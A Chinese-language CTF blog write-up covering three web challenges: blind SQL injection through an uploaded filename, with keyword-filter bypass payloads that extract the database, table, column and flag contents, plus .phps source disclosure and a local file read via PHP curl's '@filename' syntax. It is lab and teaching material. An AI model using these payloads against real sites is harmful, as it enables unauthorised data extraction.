06月28, 2019

CTF-web 笔记 17

两个月没更博客,主要是为了应付考试和大作业,加上剩余的时间全拿来玩了(主要原因),就鸽了许久。

从今天开始重振旗鼓。


文件名注入

题目名叫 upload,上传图片后会回显文件名,然而没给路径,搞了半天发现是个注入题。

猜测后台语句:

insert into xxx values('文件名');

可以考虑下面的方式:

mysql> select '1'+'2';
+---------+
| '1'+'2' |
+---------+
|       3 |
+---------+

mysql> select '1'+'2'+'aaa';
+---------------+
| '1'+'2'+'aaa' |
+---------------+
|             3 |
+---------------+

mysql> select 'aaa'+'2'+'aaa';
+-----------------+
| 'aaa'+'2'+'aaa' |
+-----------------+
|               2 |
+-----------------+

mysql> select 'aaa'+ord((select 'a'))+'aaa';
+-------------------------------+
| 'aaa'+ord((select 'a'))+'aaa' |
+-------------------------------+
|                            97 |
+-------------------------------+

可以看出非数字的字符进行+运算会被视作0。

所以思路就是一位位截取查询结果,回显 ASCII 码。

要注意的是,服务端检测了文件名的后缀,并且过滤了selectfrom

后缀拼上.jpg,双写被过滤的关键字,故查库的 Payload 如下:

aaa'+ord((substr((selselectect database()),§1§,1)))+'.jpg

用 Intruder 分段跑:

1.png

回显:

2.png

拿去解码即可。

剩下的 Payloads:

aaa'+ord((substr((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload'),§1§,1)))+'.jpg
aaa'+ord((substr((selselectect group_concat(column_name) frfromom information_schema.columns where table_name='hello_flag_is_here'),§1§,1)))+'.jpg
aaa'+ord((substr((selselectect group_concat(i_am_flag) frfromom hello_flag_is_here),§1§,1)))+'.jpg

PHP 备份文件 PHPS

脚本扫源码泄露,没扫出来,发现phps文件可以访问,查了下是 PHP 的备份文件的一种。

https://filext.com/file-extension/PHPS


curl 本地文件读取

1.png

后台会自动 ping 指定的 url,并且会验证 url 的合法性(看这个例子估计是RR大佬出的题...)。

但是当出现指定字符集外的特殊字符时,Django Debugger 会报 GBK 编码错误:

2.png

仔细审查这个 report,发现数据库路径:

3.png

CURLOPT_SAFE_UPLOADtrue时,PHP curl 可以通过@filename的形式来读取文件。

故尝试读取数据库文件:

4.png

报编码错误,文件内容回显在 report 中。

本文链接:https://blog.cindemor.com/post/ctf-web-17.html

-- EOF --